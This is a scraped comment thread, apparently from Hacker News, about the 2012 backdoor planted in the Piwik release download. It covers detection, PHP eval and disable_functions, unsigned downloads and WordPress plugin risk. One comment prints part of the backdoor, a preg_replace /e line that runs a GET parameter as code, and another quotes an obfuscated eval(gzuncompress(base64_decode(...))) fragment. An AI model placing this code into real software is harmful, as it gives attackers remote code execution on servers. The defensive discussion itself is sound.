Alert: Backdoor placed in Piwik(piwik.org)
piwik.org
Alert: Backdoor placed in Piwik
http://piwik.org/blog/2012/11/security-report-piwik-org-webserver-hacked-for-a-few-hours-on-2012-nov-26th/
13 comments
You could use something like WPScan against their blog and then make educated guesses which one was the culprit...
https://github.com/wpscanteam/wpscan
https://github.com/wpscanteam/wpscan
Before you panic: the backdoor only has existed for a few hours in their latest.zip yesterday
You're not affected if:
- you checked Piwik out of their sourcecode repository - installed / upgraded Piwik before Nov 26th
Check if your piwik/core/Loader.php has some base64-encoded additions at the end of the file
If not, your installation is clean :)
You're not affected if:
- you checked Piwik out of their sourcecode repository - installed / upgraded Piwik before Nov 26th
Check if your piwik/core/Loader.php has some base64-encoded additions at the end of the file
If not, your installation is clean :)
Piwik should release a new version so all users get a message about updating in their dashboard. That way someone who doesn't see this alert would be more likely to fix it.
Agreed, but that alone wouldn't be enough.
If you read into what the hack does on the forums [1], it actually downloads and installs a backdoor that can execute arbitrary commands on your server. Unless a new version explicitly looks for and removes those files, updating is not enough.
[1] http://forum.piwik.org/read.php?2,97666
If you read into what the hack does on the forums [1], it actually downloads and installs a backdoor that can execute arbitrary commands on your server. Unless a new version explicitly looks for and removes those files, updating is not enough.
[1] http://forum.piwik.org/read.php?2,97666
Now, signed downloads might have helped if the keys are placed in a different spot than the download. But I guess nobody bothers to check signatures anyways.
eval(gzuncompress(base64_decode('eF...
Makes me wonder if you can simply disable to the 'eval' command in php and avoid all these hacks?
Is it ever used by legitimate scripts?
Is it ever used by legitimate scripts?
Yes, you can disable any arbitrary internal function in PHP using disable_functions[1] directive in php.ini
[1] http://php.net/manual/en/ini.core.php#ini.disable-functions
Edit: Also, as noted below, this wouldn't prevent this or many other similar hacks as you need write access to the PHP script to put the eval in in the first place, so you could just write other code in there directly (and pull in extra scripts to execute by writing to disk etc. if necessary). Eval is typically dangerous, in its own right, when it is used by the legitimate developer who then allows unchecked code to be passed to it.
[1] http://php.net/manual/en/ini.core.php#ini.disable-functions
Edit: Also, as noted below, this wouldn't prevent this or many other similar hacks as you need write access to the PHP script to put the eval in in the first place, so you could just write other code in there directly (and pull in extra scripts to execute by writing to disk etc. if necessary). Eval is typically dangerous, in its own right, when it is used by the legitimate developer who then allows unchecked code to be passed to it.
The problem with disable_functions is that eval is not an internal function, but a language construct. From the manual:
Only internal functions can be disabled using this directive.
It is possible to generate something like a list of all available internal functions, eval is missing here:
http://www.hardened-php.net/suhosin/configuration.html#suhos...
Only internal functions can be disabled using this directive.
It is possible to generate something like a list of all available internal functions, eval is missing here:
$arr = get_defined_functions();
var_dump($arr['internal']);
http://www.hardened-php.net/suhosin/configuration.html#suhos...
Apologies, you are correct, I was thinking of exec.
And how to use it:
http://www.cyberciti.biz/faq/linux-unix-apache-lighttpd-phpi...
Just remove anything you use. I use cURL, so I took it out.
Just remove anything you use. I use cURL, so I took it out.
> Makes me wonder if you can simply disable to the 'eval' command in php and avoid all these hacks?
I wish.
> Is it ever used by legitimate scripts?
There are edge cases, but I haven't found a need for it in almost a decade of coding. I really wish there was an option to disable it while compiling the PHP binary or using php.ini ...
Keep in mind, removing eval wouldn't have stopped this hack. It would have simply made it more obvious, since they wouldn't be able to encode/compress their injected code.
I wish.
> Is it ever used by legitimate scripts?
There are edge cases, but I haven't found a need for it in almost a decade of coding. I really wish there was an option to disable it while compiling the PHP binary or using php.ini ...
Keep in mind, removing eval wouldn't have stopped this hack. It would have simply made it more obvious, since they wouldn't be able to encode/compress their injected code.
There are some legitimate uses. The pear SOAP library used it to generate access classes based on WSDL-Files - don't know if they still do that.
Anyways, disabling eval doesn't buy you much: If you really want to execute code, write it to a file and then require that file. You can plug that one by making all directories you can load code from unwriteable, but then I could just go and call create_user_func() which is eval in disguise.
Anyways, disabling eval doesn't buy you much: If you really want to execute code, write it to a file and then require that file. You can plug that one by making all directories you can load code from unwriteable, but then I could just go and call create_user_func() which is eval in disguise.
>disabling eval doesn't buy you much: If you really want to execute code, write it to a file and then require that file.
Eval is used by most attackers to avoid detection. A one liner add to the end of a legitimate random php file along with extra padding to push it off the screen will make most users to miss it.
Creating directories and files not only requires appropriate permissions but is also more susceptible to be noticed by a user browsing through them.
Eval is used by most attackers to avoid detection. A one liner add to the end of a legitimate random php file along with extra padding to push it off the screen will make most users to miss it.
Creating directories and files not only requires appropriate permissions but is also more susceptible to be noticed by a user browsing through them.
Do you really think anybody would have noticed a "include 'common/footer.php'" at the end of the file? If you have write access to the download tarball, all is lost. Disabling eval on the deploy machine doesn't buy you anything. In general: If you can write to any file in the deployed app, every bet is off - eval or not. Disabling eval helps you in cases where the legitimate code uses eval and can be tricked into passing code snippets of your choice to the call.
Apparently there is a way:
http://stackoverflow.com/questions/1865020/php-how-to-disabl...
http://stackoverflow.com/questions/1865020/php-how-to-disabl...
I've used it in a template renderer to render templates from files or strings. You can use eval('?>'.$string). There may be a better method, I never bothered looking after that worked.
I would worry so, yes. There was/is so many PHP (and Java for that matter) jobs available that even the worst coders get hired in the end.
This doesn't seem like a "PHP coding quality" issue to me -- more like a trust issue, because the site admin opened the security hole by installing a WP plugin.
That could happen in any language / framework / situation. It's rogue code that got trusted.
That could happen in any language / framework / situation. It's rogue code that got trusted.
Yes, you are right. I was responding to the use of eval in production code.
Saying that doesnt make you a better programmer, nor smart.
I think your comment just triggered Microsoft Security Essentials on my PC because it was saved as cache on my disk :)
> security issue in a WordPress plugin
Classic. Installing random crap from the wp ecosystem is something I expect of amateurs, but it's disappointing devs active in the foss community could install and store such things on the same account as their software downloads which btw aren't signed. Irresponsible. And why aren't they disclosing which plugin was it?
(and sort of a bit related, in case somebody missed it: http://wpmu.org/why-you-should-never-search-for-free-wordpre... )
Classic. Installing random crap from the wp ecosystem is something I expect of amateurs, but it's disappointing devs active in the foss community could install and store such things on the same account as their software downloads which btw aren't signed. Irresponsible. And why aren't they disclosing which plugin was it?
(and sort of a bit related, in case somebody missed it: http://wpmu.org/why-you-should-never-search-for-free-wordpre... )
>Installing random crap
Are you saying that reputable plugins have never had security issues? If not, then what's your point?
Are you saying that reputable plugins have never had security issues? If not, then what's your point?
[deleted]
Everyone should realize this by now, but if you must use Wordpress (or, host your own blog) please physically & logically separate it from critical files and infrastructure.
it does not say what the inserted code does, could somebody be so nice? thanks!
That's detailed in a post on their forums here: http://forum.piwik.org/read.php?2,97666
[deleted]
The injected code disables error logging and allows remote users to execute arbitrary code on the server by submitting the 'g' and 's' parameters as part of a GET query string. It then looks for a file called 'lic.log' and aborts if it exists. Otherwise it decodes and decompresses a CURL script embedded in base64 before generating the 'lic.log' file, which prevents it from occurring more than once.
The real mystery is how that code got onto the development server to begin with. They can fix the zip file but it won't do much good if the machine is still compromised.
The real mystery is how that code got onto the development server to begin with. They can fix the zip file but it won't do much good if the machine is still compromised.
From what I gather on their post someone used a vulnerable Wordpress plugin to write onto the web server's filesystem, overwriting the latest.tar.gz file with it's own hacked version. You should be safe if you didn't update using that file.
Would love to know how they detected it.
they didn't. some guy reported it on the forum http://forum.piwik.org/read.php?2,97666
Good find. Of course, it just changes my question to: How did he find it?
Either he noticed effects of running the exploit (lic.log file?) or just downloaded the zip to read the code (I do this when some project's VCS doesn't have 'browse source' component or it's web component has no decent syntax highlighting), noticed base64 encoded chunks and got curious. I'd get curious for sure.
All this is really simple and not the real question, which instead is: where were checksums and why not in a safe place?
All this is really simple and not the real question, which instead is: where were checksums and why not in a safe place?
As luck would have it, I had the compromised version. First time trying out Piwik as well ;) Oh well, c'est la vie.
Has anyone the compromised Loader.php?
The article says that the malicious code has been appended to the loader.php file. The malicious code cited in the article is abridged, here is a complete version:
<?php Error_Reporting(0); if(isset($_GET['g']) && isset($_GET['s'])) {
preg_replace("/(.+)/e", $_GET['g'], 'dwm'); exit;
}
if (file_exists(dirname(__FILE__)."/lic.log")) exit; About wp plugins : there is no quality control whatsoever in plugins published on wordpress.org . One should review the code before installing one.
Unfortunatly, because of the architecture of Wordpress and PHP , there is not "sandboxing" possible for plugins. However , always separate a wordpress blog or any downloaded scripts from the rest of your apps. they should not have access to anything but their space and their own database on the server.
A good architecture for a plugin system would be that the plugin uses some kind of DSL(like a template language , so no direct php) , and the core should be able to manage plugin rights ( like : "can read database" , "can write database" , "can write files" , ... ). A slideshow plugin should not be able to write files, or ever write to the database.
I'm really thinking about trying to develop such a system , with security at the core, which is not the case of Wordpress.
Unfortunatly, because of the architecture of Wordpress and PHP , there is not "sandboxing" possible for plugins. However , always separate a wordpress blog or any downloaded scripts from the rest of your apps. they should not have access to anything but their space and their own database on the server.
A good architecture for a plugin system would be that the plugin uses some kind of DSL(like a template language , so no direct php) , and the core should be able to manage plugin rights ( like : "can read database" , "can write database" , "can write files" , ... ). A slideshow plugin should not be able to write files, or ever write to the database.
I'm really thinking about trying to develop such a system , with security at the core, which is not the case of Wordpress.
I'm more interested in which WP plugin and if it was just out of date or if this is a new vulnerability.